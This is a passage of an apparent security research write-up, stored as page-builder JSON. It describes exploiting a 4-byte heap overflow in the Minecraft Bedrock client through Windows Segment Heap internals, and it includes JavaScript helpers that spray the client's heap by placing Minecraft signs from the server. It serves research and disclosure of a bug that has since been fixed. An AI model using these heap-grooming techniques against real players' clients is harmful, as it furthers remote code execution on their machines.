completion",{"type":22,"tag":20097,"props":151024,"children":151025},{},[],{"type":22,"tag":23,"props":151027,"children":151028},{},[151029,151031,151038,151040,151047],{"type":27,"value":151030},"Note that this bug was already found before (",{"type":22,"tag":69,"props":151032,"children":151035},{"href":151033,"rel":151034},"https://github.com/nothings/stb/issues/656",[73],[151036],{"type":27,"value":151037},"Github Issue",{"type":27,"value":151039},") but we missed it at the time. It was later fixed in ",{"type":22,"tag":69,"props":151041,"children":151044},{"href":151042,"rel":151043},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[73],[151045],{"type":27,"value":151046},"this commit",{"type":27,"value":210},{"type":22,"tag":169,"props":151049,"children":151050},{"id":6709},[151051],{"type":27,"value":6712},{"type":22,"tag":23,"props":151053,"children":151054},{},[151055],{"type":27,"value":151056},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":22,"tag":23,"props":151058,"children":151059},{},[151060],{"type":27,"value":151061},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":22,"tag":181,"props":151063,"children":151065},{"id":151064},"searching-for-better-primitives",[151066],{"type":27,"value":151067},"Searching for Better Primitives",{"type":22,"tag":23,"props":151069,"children":151070},{},[151071],{"type":27,"value":151072},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":22,"tag":23,"props":151074,"children":151075},{},[151076,151078,151085],{"type":27,"value":151077},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":22,"tag":69,"props":151079,"children":151082},{"href":151080,"rel":151081},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[73],[151083],{"type":27,"value":151084},"UWP",{"type":27,"value":151086}," applications (such as Minecraft Bedrock Edition).",{"type":22,"tag":181,"props":151088,"children":151090},{"id":151089},"segment-heap",[151091],{"type":27,"value":151092},"Segment Heap",{"type":22,"tag":23,"props":151094,"children":151095},{},[151096,151098,151105],{"type":27,"value":151097},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":22,"tag":69,"props":151099,"children":151102},{"href":151100,"rel":151101},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[73],[151103],{"type":27,"value":151104},"this talk",{"type":27,"value":151106}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":22,"tag":20197,"props":151108,"children":151110},{"id":151109},"low-fragmentation-heap",[151111],{"type":27,"value":151112},"Low Fragmentation Heap",{"type":22,"tag":23,"props":151114,"children":151115},{},[151116,151118,151124],{"type":27,"value":151117},"Low Fragmentation Heap (LFH) services allocations of ",{"type":22,"tag":257,"props":151119,"children":151121},{"className":151120},[],[151122],{"type":27,"value":151123},"0x3ff0",{"type":27,"value":151125}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":22,"tag":23,"props":151127,"children":151128},{},[151129],{"type":27,"value":151130},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":22,"tag":618,"props":151132,"children":151134},{"code":151133},"              +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 . . . |\n              |                         |\n",[151135],{"type":22,"tag":257,"props":151136,"children":151137},{"__ignoreMap":7},[151138],{"type":27,"value":151133},{"type":22,"tag":23,"props":151140,"children":151141},{},[151142],{"type":27,"value":151143},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":22,"tag":20197,"props":151145,"children":151147},{"id":151146},"variable-size",[151148],{"type":27,"value":151149},"Variable Size",{"type":22,"tag":23,"props":151151,"children":151152},{},[151153,151155,151161,151163,151169],{"type":27,"value":151154},"This subsegment is used for allocation sizes from ",{"type":22,"tag":257,"props":151156,"children":151158},{"className":151157},[],[151159],{"type":27,"value":151160},"0x4000",{"type":27,"value":151162}," and up to ",{"type":22,"tag":257,"props":151164,"children":151166},{"className":151165},[],[151167],{"type":27,"value":151168},"0x20_000",{"type":27,"value":151170},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":22,"tag":618,"props":151172,"children":151174},{"code":151173},"                          +-------------------------+\n            Chunk A ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          +-------------------------+\n            Chunk B ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 . . . |\n                          |                         |\n",[151175],{"type":22,"tag":257,"props":151176,"children":151177},{"__ignoreMap":7},[151178],{"type":27,"value":151173},{"type":22,"tag":23,"props":151180,"children":151181},{},[151182,151184,151190],{"type":27,"value":151183},"The header, ",{"type":22,"tag":257,"props":151185,"children":151187},{"className":151186},[],[151188],{"type":27,"value":151189},"HEAP_VS_CHUNK_HEADER",{"type":27,"value":151191},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":22,"tag":20097,"props":151193,"children":151194},{},[],{"type":22,"tag":23,"props":151196,"children":151197},{},[151198],{"type":27,"value":151199},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":22,"tag":23,"props":151201,"children":151202},{},[151203,151205,151212],{"type":27,"value":151204},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":22,"tag":69,"props":151206,"children":151209},{"href":151207,"rel":151208},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[73],[151210],{"type":27,"value":151211},"technique published",{"type":27,"value":151213}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":22,"tag":23,"props":151215,"children":151216},{},[151217],{"type":27,"value":151218},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":22,"tag":23,"props":151220,"children":151221},{},[151222],{"type":27,"value":151223},"In either case, we needed a way to spray the heap before we could proceed.",{"type":22,"tag":181,"props":151225,"children":151227},{"id":151226},"finding-a-way-to-spray-the-heap",[151228],{"type":27,"value":151229},"Finding a Way to Spray the Heap",{"type":22,"tag":23,"props":151231,"children":151232},{},[151233],{"type":27,"value":151234},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":22,"tag":17988,"props":151236,"children":151237},{},[151238,151243,151248,151253],{"type":22,"tag":1871,"props":151239,"children":151240},{},[151241],{"type":27,"value":151242},"The size of the allocation",{"type":22,"tag":1871,"props":151244,"children":151245},{},[151246],{"type":27,"value":151247},"The data written into the allocated buffer",{"type":22,"tag":1871,"props":151249,"children":151250},{},[151251],{"type":27,"value":151252},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":22,"tag":1871,"props":151254,"children":151255},{},[151256],{"type":27,"value":151257},"The number of created objects (preferably unbounded)",{"type":22,"tag":23,"props":151259,"children":151260},{},[151261],{"type":27,"value":151262},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":22,"tag":20197,"props":151264,"children":151266},{"id":151265},"minecraft-signs",[151267],{"type":27,"value":151268},"Minecraft Signs",{"type":22,"tag":23,"props":151270,"children":151271},{},[151272],{"type":27,"value":151273},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":22,"tag":23,"props":151275,"children":151276},{},[151277,151279,151285],{"type":27,"value":151278},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":22,"tag":257,"props":151280,"children":151282},{"className":151281},[],[151283],{"type":27,"value":151284},"std::string",{"type":27,"value":210},{"type":22,"tag":23,"props":151287,"children":151288},{},[151289,151291,151296],{"type":27,"value":151290},"In Microsoft’s C++ implementation, ",{"type":22,"tag":257,"props":151292,"children":151294},{"className":151293},[],[151295],{"type":27,"value":151284},{"type":27,"value":151297}," is structured roughly as follows:",{"type":22,"tag":618,"props":151299,"children":151301},{"code":151300,"language":4449,"meta":7,"className":17815,"style":7},"struct string\n{\n    union {\n        char* ptr;\n        char buf[16];\n    };\n    size_t size;\n    size_t capacity;\n};\n",[151302],{"type":22,"tag":257,"props":151303,"children":151304},{"__ignoreMap":7},[151305,151316,151323,151335,151351,151375,151382,151393,151405],{"type":22,"tag":264,"props":151306,"children":151307},{"class":1534,"line":1535},[151308,151312],{"type":22,"tag":264,"props":151309,"children":151310},{"style":4293},[151311],{"type":27,"value":10699},{"type":22,"tag":264,"props":151313,"children":151314},{"style":1539},[151315],{"type":27,"value":86369},{"type":22,"tag":264,"props":151317,"children":151318},{"class":1534,"line":1545},[151319],{"type":22,"tag":264,"props":151320,"children":151321},{"style":1539},[151322],{"type":27,"value":1542},{"type":22,"tag":264,"props":151324,"children":151325},{"class":1534,"line":1560},[151326,151331],{"type":22,"tag":264,"props":151327,"children":151328},{"style":4293},[151329],{"type":27,"value":151330},"    union",{"type":22,"tag":264,"props":151332,"children":151333},{"style":1539},[151334],{"type":27,"value":4594},{"type":22,"tag":264,"props":151336,"children":151337},{"class":1534,"line":1569},[151338,151343,151347],{"type":22,"tag":264,"props":151339,"children":151340},{"style":4293},[151341],{"type":27,"value":151342},"        char",{"type":22,"tag":264,"props":151344,"children":151345},{"style":4309},[151346],{"type":27,"value":5865},{"type":22,"tag":264,"props":151348,"children":151349},{"style":1539},[151350],{"type":27,"value":17857},{"type":22,"tag":264,"props":151352,"children":151353},{"class":1534,"line":1583},[151354,151358,151363,151367,151371],{"type":22,"tag":264,"props":151355,"children":151356},{"style":4293},[151357],{"type":27,"value":151342},{"type":22,"tag":264,"props":151359,"children":151360},{"style":1549},[151361],{"type":27,"value":151362}," buf",{"type":22,"tag":264,"props":151364,"children":151365},{"style":1539},[151366],{"type":27,"value":5045},{"type":22,"tag":264,"props":151368,"children":151369},{"style":4344},[151370],{"type":27,"value":42162},{"type":22,"tag":264,"props":151372,"children":151373},{"style":1539},[151374],{"type":27,"value":32889},{"type":22,"tag":264,"props":151376,"children":151377},{"class":1534,"line":1603},[151378],{"type":22,"tag":264,"props":151379,"children":151380},{"style":1539},[151381],{"type":27,"value":40311},{"type":22,"tag":264,"props":151383,"children":151384},{"class":1534,"line":1612},[151385,151389],{"type":22,"tag":264,"props":151386,"children":151387},{"style":4293},[151388],{"type":27,"value":17865},{"type":22,"tag":264,"props":151390,"children":151391},{"style":1539},[151392],{"type":27,"value":125902},{"type":22,"tag":264,"props":151394,"children":151395},{"class":1534,"line":1621},[151396,151400],{"type":22,"tag":264,"props":151397,"children":151398},{"style":4293},[151399],{"type":27,"value":17865},{"type":22,"tag":264,"props":151401,"children":151402},{"style":1539},[151403],{"type":27,"value":151404}," capacity;\n",{"type":22,"tag":264,"props":151406,"children":151407},{"class":1534,"line":1629},[151408],{"type":22,"tag":264,"props":151409,"children":151410},{"style":1539},[151411],{"type":27,"value":17878},{"type":22,"tag":23,"props":151413,"children":151414},{},[151415,151417,151423,151425,151430],{"type":27,"value":151416},"We are primarily interested in the union: ",{"type":22,"tag":257,"props":151418,"children":151420},{"className":151419},[],[151421],{"type":27,"value":151422},"buf",{"type":27,"value":151424}," is used when the string fits within 16 bytes, while ",{"type":22,"tag":257,"props":151426,"children":151428},{"className":151427},[],[151429],{"type":27,"value":15248},{"type":27,"value":151431}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":22,"tag":23,"props":151433,"children":151434},{},[151435],{"type":27,"value":151436},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":22,"tag":23,"props":151438,"children":151439},{},[151440],{"type":27,"value":151441},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":22,"tag":20197,"props":151443,"children":151445},{"id":151444},"spraying-with-server-side-scripting",[151446],{"type":27,"value":151447},"Spraying With Server-Side Scripting",{"type":22,"tag":23,"props":151449,"children":151450},{},[151451],{"type":27,"value":151452},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":22,"tag":23,"props":151454,"children":151455},{},[151456,151458,151464,151465,151471],{"type":27,"value":151457},"We wrote ",{"type":22,"tag":257,"props":151459,"children":151461},{"className":151460},[],[151462],{"type":27,"value":151463},"alloc",{"type":27,"value":12290},{"type":22,"tag":257,"props":151466,"children":151468},{"className":151467},[],[151469],{"type":27,"value":151470},"free",{"type":27,"value":151472}," helpers that trigger an allocation in the client and free it on demand:",{"type":22,"tag":618,"props":151474,"children":151476},{"code":151475,"language":36930,"meta":7,"className":36928,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n    for (let sign of signs) {\n        if (sign.allocated || sign.removed) {\n            continue;\n        }\n\n        sign.sign.setText(fill.repeat(size - 1));\n        sign.allocated = true;\n        return sign;\n    }\n\n    console.warn(\"No more allocs\");\n    return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n    if (sign == undefined || sign.allocated == false) {\n        return;\n    }\n\n    sign.sign.setText(\"\");\n    sign.allocated = false;\n\n    sign.block.setPermutation(\n        BlockPermutation.resolve(\"minecraft:air\")\n    );\n    sign.removed = true;\n}\n",[151477],{"type":22,"tag":257,"props":151478,"children":151479},{"__ignoreMap":7},[151480,151488,151530,151563,151608,151620,151627,151634,151695,151722,151737,151744,151751,151780,151795,151802,151809,151817,151841,151892,151903,151910,151917,151954,151981,151988,152017,152047,152054,152081],{"type":22,"tag":264,"props":151481,"children":151482},{"class":1534,"line":1535},[151483],{"type":22,"tag":264,"props":151484,"children":151485},{"style":4284},[151486],{"type":27,"value":151487},"// Allocate sign text in the client\n",{"type":22,"tag":264,"props":151489,"children":151490},{"class":1534,"line":1545},[151491,151495,151500,151504,151508,151512,151517,151521,151526],{"type":22,"tag":264,"props":151492,"children":151493},{"style":4293},[151494],{"type":27,"value":32692},{"type":22,"tag":264,"props":151496,"children":151497},{"style":4401},[151498],{"type":27,"value":151499}," alloc",{"type":22,"tag":264,"props":151501,"children":151502},{"style":1539},[151503],{"type":27,"value":2660},{"type":22,"tag":264,"props":151505,"children":151506},{"style":1549},[151507],{"type":27,"value":125560},{"type":22,"tag":264,"props":151509,"children":151510},{"style":1539},[151511],{"type":27,"value":4380},{"type":22,"tag":264,"props":151513,"children":151514},{"style":1549},[151515],{"type":27,"value":151516},"fill",{"type":22,"tag":264,"props":151518,"children":151519},{"style":4309},[151520],{"type":27,"value":429},{"type":22,"tag":264,"props":151522,"children":151523},{"style":1597},[151524],{"type":27,"value":151525},"\"A\"",{"type":22,"tag":264,"props":151527,"children":151528},{"style":1539},[151529],{"type":27,"value":16103},{"type":22,"tag":264,"props":151531,"children":151532},{"class":1534,"line":1560},[151533,151537,151541,151545,151550,151554,151559],{"type":22,"tag":264,"props":151534,"children":151535},{"style":4328},[151536],{"type":27,"value":4331},{"type":22,"tag":264,"props":151538,"children":151539},{"style":1539},[151540],{"type":27,"value":4370},{"type":22,"tag":264,"props":151542,"children":151543},{"style":4293},[151544],{"type":27,"value":13086},{"type":22,"tag":264,"props":151546,"children":151547},{"style":1549},[151548],{"type":27,"value":151549}," sign",{"type":22,"tag":264,"props":151551,"children":151552},{"style":4293},[151553],{"type":27,"value":11661},{"type":22,"tag":264,"props":151555,"children":151556},{"style":1549},[151557],{"type":27,"value":151558}," signs",{"type":22,"tag":264,"props":151560,"children":151561},{"style":1539},[151562],{"type":27,"value":16103},{"type":22,"tag":264,"props":151564,"children":151565},{"class":1534,"line":1569},[151566,151570,151574,151579,151583,151588,151592,151596,151600,151604],{"type":22,"tag":264,"props":151567,"children":151568},{"style":4328},[151569],{"type":27,"value":4575},{"type":22,"tag":264,"props":151571,"children":151572},{"style":1539},[151573],{"type":27,"value":4370},{"type":22,"tag":264,"props":151575,"children":151576},{"style":1549},[151577],{"type":27,"value":151578},"sign",{"type":22,"tag":264,"props":151580,"children":151581},{"style":1539},[151582],{"type":27,"value":210},{"type":22,"tag":264,"props":151584,"children":151585},{"style":1549},[151586],{"type":27,"value":151587},"allocated",{"type":22,"tag":264,"props":151589,"children":151590},{"style":4309},[151591],{"type":27,"value":25009},{"type":22,"tag":264,"props":151593,"children":151594},{"style":1549},[151595],{"type":27,"value":151549},{"type":22,"tag":264,"props":151597,"children":151598},{"style":1539},[151599],{"type":27,"value":210},{"type":22,"tag":264,"props":151601,"children":151602},{"style":1549},[151603],{"type":27,"value":134263},{"type":22,"tag":264,"props":151605,"children":151606},{"style":1539},[151607],{"type":27,"value":16103},{"type":22,"tag":264,"props":151609,"children":151610},{"class":1534,"line":1583},[151611,151616],{"type":22,"tag":264,"props":151612,"children":151613},{"style":4328},[151614],{"type":27,"value":151615},"            continue",{"type":22,"tag":264,"props":151617,"children":151618},{"style":1539},[151619],{"type":27,"value":4322},{"type":22,"tag":264,"props":151621,"children":151622},{"class":1534,"line":1603},[151623],{"type":22,"tag":264,"props":151624,"children":151625},{"style":1539},[151626],{"type":27,"value":4651},{"type":22,"tag":264,"props":151628,"children":151629},{"class":1534,"line":1612},[151630],{"type":22,"tag":264,"props":151631,"children":151632},{"emptyLinePlaceholder":17},[151633],{"type":27,"value":4986},{"type":22,"tag":264,"props":151635,"children":151636},{"class":1534,"line":1621},[151637,151642,151646,151650,151654,151659,151663,151667,151671,151675,151679,151683,151687,151691],{"type":22,"tag":264,"props":151638,"children":151639},{"style":1549},[151640],{"type":27,"value":151641},"        sign",{"type":22,"tag":264,"props":151643,"children":151644},{"style":1539},[151645],{"type":27,"value":210},{"type":22,"tag":264,"props":151647,"children":151648},{"style":1549},[151649],{"type":27,"value":151578},{"type":22,"tag":264,"props":151651,"children":151652},{"style":1539},[151653],{"type":27,"value":210},{"type":22,"tag":264,"props":151655,"children":151656},{"style":4401},[151657],{"type":27,"value":151658},"setText",{"type":22,"tag":264,"props":151660,"children":151661},{"style":1539},[151662],{"type":27,"value":2660},{"type":22,"tag":264,"props":151664,"children":151665},{"style":1549},[151666],{"type":27,"value":151516},{"type":22,"tag":264,"props":151668,"children":151669},{"style":1539},[151670],{"type":27,"value":210},{"type":22,"tag":264,"props":151672,"children":151673},{"style":4401},[151674],{"type":27,"value":134513},{"type":22,"tag":264,"props":151676,"children":151677},{"style":1539},[151678],{"type":27,"value":2660},{"type":22,"tag":264,"props":151680,"children":151681},{"style":1549},[151682],{"type":27,"value":125560},{"type":22,"tag":264,"props":151684,"children":151685},{"style":4309},[151686],{"type":27,"value":52576},{"type":22,"tag":264,"props":151688,"children":151689},{"style":4344},[151690],{"type":27,"value":5817},{"type":22,"tag":264,"props":151692,"children":151693},{"style":1539},[151694],{"type":27,"value":8516},{"type":22,"tag":264,"props":151696,"children":151697},{"class":1534,"line":1629},[151698,151702,151706,151710,151714,151718],{"type":22,"tag":264,"props":151699,"children":151700},{"style":1549},[151701],{"type":27,"value":151641},{"type":22,"tag":264,"props":151703,"children":151704},{"style":1539},[151705],{"type":27,"value":210},{"type":22,"tag":264,"props":151707,"children":151708},{"style":1549},[151709],{"type":27,"value":151587},{"type":22,"tag":264,"props":151711,"children":151712},{"style":4309},[151713],{"type":27,"value":4312},{"type":22,"tag":264,"props":151715,"children":151716},{"style":4293},[151717],{"type":27,"value":13768},{"type":22,"tag":264,"props":151719,"children":151720},{"style":1539},[151721],{"type":27,"value":4322},{"type":22,"tag":264,"props":151723,"children":151724},{"class":1534,"line":1642},[151725,151729,151733],{"type":22,"tag":264,"props":151726,"children":151727},{"style":4328},[151728],{"type":27,"value":17044},{"type":22,"tag":264,"props":151730,"children":151731},{"style":1549},[151732],{"type":27,"value":151549},{"type":22,"tag":264,"props":151734,"children":151735},{"style":1539},[151736],{"type":27,"value":4322},{"type":22,"tag":264,"props":151738,"children":151739},{"class":1534,"line":1660},[151740],{"type":22,"tag":264,"props":151741,"children":151742},{"style":1539},[151743],{"type":27,"value":1674},{"type":22,"tag":264,"props":151745,"children":151746},{"class":1534,"line":1668},[151747],{"type":22,"tag":264,"props":151748,"children":151749},{"emptyLinePlaceholder":17},[151750],{"type":27,"value":4986},{"type":22,"tag":264,"props":151752,"children":151753},{"class":1534,"line":1677},[151754,151758,151762,151767,151771,151776],{"type":22,"tag":264,"props":151755,"children":151756},{"style":1549},[151757],{"type":27,"value":32754},{"type":22,"tag":264,"props":151759,"children":151760},{"style":1539},[151761],{"type":27,"value":210},{"type":22,"tag":264,"props":151763,"children":151764},{"style":4401},[151765],{"type":27,"value":151766},"warn",{"type":22,"tag":264,"props":151768,"children":151769},{"style":1539},[151770],{"type":27,"value":2660},{"type":22,"tag":264,"props":151772,"children":151773},{"style":1597},[151774],{"type":27,"value":151775},"\"No more allocs\"",{"type":22,"tag":264,"props":151777,"children":151778},{"style":1539},[151779],{"type":27,"value":5142},{"type":22,"tag":264,"props":151781,"children":151782},{"class":1534,"line":1686},[151783,151787,151791],{"type":22,"tag":264,"props":151784,"children":151785},{"style":4328},[151786],{"type":27,"value":18291},{"type":22,"tag":264,"props":151788,"children":151789},{"style":4293},[151790],{"type":27,"value":40652},{"type":22,"tag":264,"props":151792,"children":151793},{"style":1539},[151794],{"type":27,"value":4322},{"type":22,"tag":264,"props":151796,"children":151797},{"class":1534,"line":4948},[151798],{"type":22,"tag":264,"props":151799,"children":151800},{"style":1539},[151801],{"type":27,"value":1692},{"type":22,"tag":264,"props":151803,"children":151804},{"class":1534,"line":4957},[151805],{"type":22,"tag":264,"props":151806,"children":151807},{"emptyLinePlaceholder":17},[151808],{"type":27,"value":4986},{"type":22,"tag":264,"props":151810,"children":151811},{"class":1534,"line":4980},[151812],{"type":22,"tag":264,"props":151813,"children":151814},{"style":4284},[151815],{"type":27,"value":151816},"// Free an allocated sign in the client\n",{"type":22,"tag":264,"props":151818,"children":151819},{"class":1534,"line":4989},[151820,151824,151829,151833,151837],{"type":22,"tag":264,"props":151821,"children":151822},{"style":4293},[151823],{"type":27,"value":32692},{"type":22,"tag":264,"props":151825,"children":151826},{"style":4401},[151827],{"type":27,"value":151828}," free",{"type":22,"tag":264,"props":151830,"children":151831},{"style":1539},[151832],{"type":27,"value":2660},{"type":22,"tag":264,"props":151834,"children":151835},{"style":1549},[151836],{"type":27,"value":151578},{"type":22,"tag":264,"props":151838,"children":151839},{"style":1539},[151840],{"type":27,"value":16103},{"type":22,"tag":264,"props":151842,"children":151843},{"class":1534,"line":4998},[151844,151848,151852,151856,151860,151864,151868,151872,151876,151880,151884,151888],{"type":22,"tag":264,"props":151845,"children":151846},{"style":4328},[151847],{"type":27,"value":13578},{"type":22,"tag":264,"props":151849,"children":151850},{"style":1539},[151851],{"type":27,"value":4370},{"type":22,"tag":264,"props":151853,"children":151854},{"style":1549},[151855],{"type":27,"value":151578},{"type":22,"tag":264,"props":151857,"children":151858},{"style":4309},[151859],{"type":27,"value":4585},{"type":22,"tag":264,"props":151861,"children":151862},{"style":4293},[151863],{"type":27,"value":40652},{"type":22,"tag":264,"props":151865,"children":151866},{"style":4309},[151867],{"type":27,"value":25009},{"type":22,"tag":264,"props":151869,"children":151870},{"style":1549},[151871],{"type":27,"value":151549},{"type":22,"tag":264,"props":151873,"children":151874},{"style":1539},[151875],{"type":27,"value":210},{"type":22,"tag":264,"props":151877,"children":151878},{"style":1549},[151879],{"type":27,"value":151587},{"type":22,"tag":264,"props":151881,"children":151882},{"style":4309},[151883],{"type":27,"value":4585},{"type":22,"tag":264,"props":151885,"children":151886},{"style":4293},[151887],{"type":27,"value":10354},{"type":22,"tag":264,"props":151889,"children":151890},{"style":1539},[151891],{"type":27,"value":16103},{"type":22,"tag":264,"props":151893,"children":151894},{"class":1534,"line":5067},[151895,151899],{"type":22,"tag":264,"props":151896,"children":151897},{"style":4328},[151898],{"type":27,"value":17044},{"type":22,"tag":264,"props":151900,"children":151901},{"style":1539},[151902],{"type":27,"value":4322},{"type":22,"tag":264,"props":151904,"children":151905},{"class":1534,"line":5075},[151906],{"type":22,"tag":264,"props":151907,"children":151908},{"style":1539},[151909],{"type":27,"value":1674},{"type":22,"tag":264,"props":151911,"children":151912},{"class":1534,"line":5105},[151913],{"type":22,"tag":264,"props":151914,"children":151915},{"emptyLinePlaceholder":17},[151916],{"type":27,"value":4986},{"type":22,"tag":264,"props":151918,"children":151919},{"class":1534,"line":5113},[151920,151925,151929,151933,151937,151941,151945,151950],{"type":22,"tag":264,"props":151921,"children":151922},{"style":1549},[151923],{"type":27,"value":151924},"    sign",{"type":22,"tag":264,"props":151926,"children":151927},{"style":1539},[151928],{"type":27,"value":210},{"type":22,"tag":264,"props":151930,"children":151931},{"style":1549},[151932],{"type":27,"value":151578},{"type":22,"tag":264,"props":151934,"children":151935},{"style":1539},[151936],{"type":27,"value":210},{"type":22,"tag":264,"props":151938,"children":151939},{"style":4401},[151940],{"type":27,"value":151658},{"type":22,"tag":264,"props":151942,"children":151943},{"style":1539},[151944],{"type":27,"value":2660},{"type":22,"tag":264,"props":151946,"children":151947},{"style":1597},[151948],{"type":27,"value":151949},"\"\"",{"type":22,"tag":264,"props":151951,"children":151952},{"style":1539},[151953],{"type":27,"value":5142},{"type":22,"tag":264,"props":151955,"children":151956},{"class":1534,"line":5145},[151957,151961,151965,151969,151973,151977],{"type":22,"tag":264,"props":151958,"children":151959},{"style":1549},[151960],{"type":27,"value":151924},{"type":22,"tag":264,"props":151962,"children":151963},{"style":1539},[151964],{"type":27,"value":210},{"type":22,"tag":264,"props":151966,"children":151967},{"style":1549},[151968],{"type":27,"value":151587},{"type":22,"tag":264,"props":151970,"children":151971},{"style":4309},[151972],{"type":27,"value":4312},{"type":22,"tag":264,"props":151974,"children":151975},{"style":4293},[151976],{"type":27,"value":10354},{"type":22,"tag":264,"props":151978,"children":151979},{"style":1539},[151980],{"type":27,"value":4322},{"type":22,"tag":264,"props":151982,"children":151983},{"class":1534,"line":5153},[151984],{"type":22,"tag":264,"props":151985,"children":151986},{"emptyLinePlaceholder":17},[151987],{"type":27,"value":4986},{"type":22,"tag":264,"props":151989,"children":151990},{"class":1534,"line":5213},[151991,151995,151999,152004,152008,152013],{"type":22,"tag":264,"props":151992,"children":151993},{"style":1549},[151994],{"type":27,"value":151924},{"type":22,"tag":264,"props":151996,"children":151997},{"style":1539},[151998],{"type":27,"value":210},{"type":22,"tag":264,"props":152000,"children":152001},{"style":1549},[152002],{"type":27,"value":152003},"block",{"type":22,"tag":264,"props":152005,"children":152006},{"style":1539},[152007],{"type":27,"value":210},{"type":22,"tag":264,"props":152009,"children":152010},{"style":4401},[152011],{"type":27,"value":152012},"setPermutation",{"type":22,"tag":264,"props":152014,"children":152015},{"style":1539},[152016],{"type":27,"value":4767},{"type":22,"tag":264,"props":152018,"children":152019},{"class":1534,"line":10343},[152020,152025,152029,152034,152038,152043],{"type":22,"tag":264,"props":152021,"children":152022},{"style":1549},[152023],{"type":27,"value":152024},"        BlockPermutation",{"type":22,"tag":264,"props":152026,"children":152027},{"style":1539},[152028],{"type":27,"value":210},{"type":22,"tag":264,"props":152030,"children":152031},{"style":4401},[152032],{"type":27,"value":152033},"resolve",{"type":22,"tag":264,"props":152035,"children":152036},{"style":1539},[152037],{"type":27,"value":2660},{"type":22,"tag":264,"props":152039,"children":152040},{"style":1597},[152041],{"type":27,"value":152042},"\"minecraft:air\"",{"type":22,"tag":264,"props":152044,"children":152045},{"style":1539},[152046],{"type":27,"value":4463},{"type":22,"tag":264,"props":152048,"children":152049},{"class":1534,"line":10361},[152050],{"type":22,"tag":264,"props":152051,"children":152052},{"style":1539},[152053],{"type":27,"value":44974},{"type":22,"tag":264,"props":152055,"children":152056},{"class":1534,"line":10406},[152057,152061,152065,152069,152073,152077],{"type":22,"tag":264,"props":152058,"children":152059},{"style":1549},[152060],{"type":27,"value":151924},{"type":22,"tag":264,"props":152062,"children":152063},{"style":1539},[152064],{"type":27,"value":210},{"type":22,"tag":264,"props":152066,"children":152067},{"style":1549},[152068],{"type":27,"value":134263},{"type":22,"tag":264,"props":152070,"children":152071},{"style":4309},[152072],{"type":27,"value":4312},{"type":22,"tag":264,"props":152074,"children":152075},{"style":4293},[152076],{"type":27,"value":13768},{"type":22,"tag":264,"props":152078,"children":152079},{"style":1539},[152080],{"type":27,"value":4322},{"type":22,"tag":264,"props":152082,"children":152083},{"class":1534,"line":105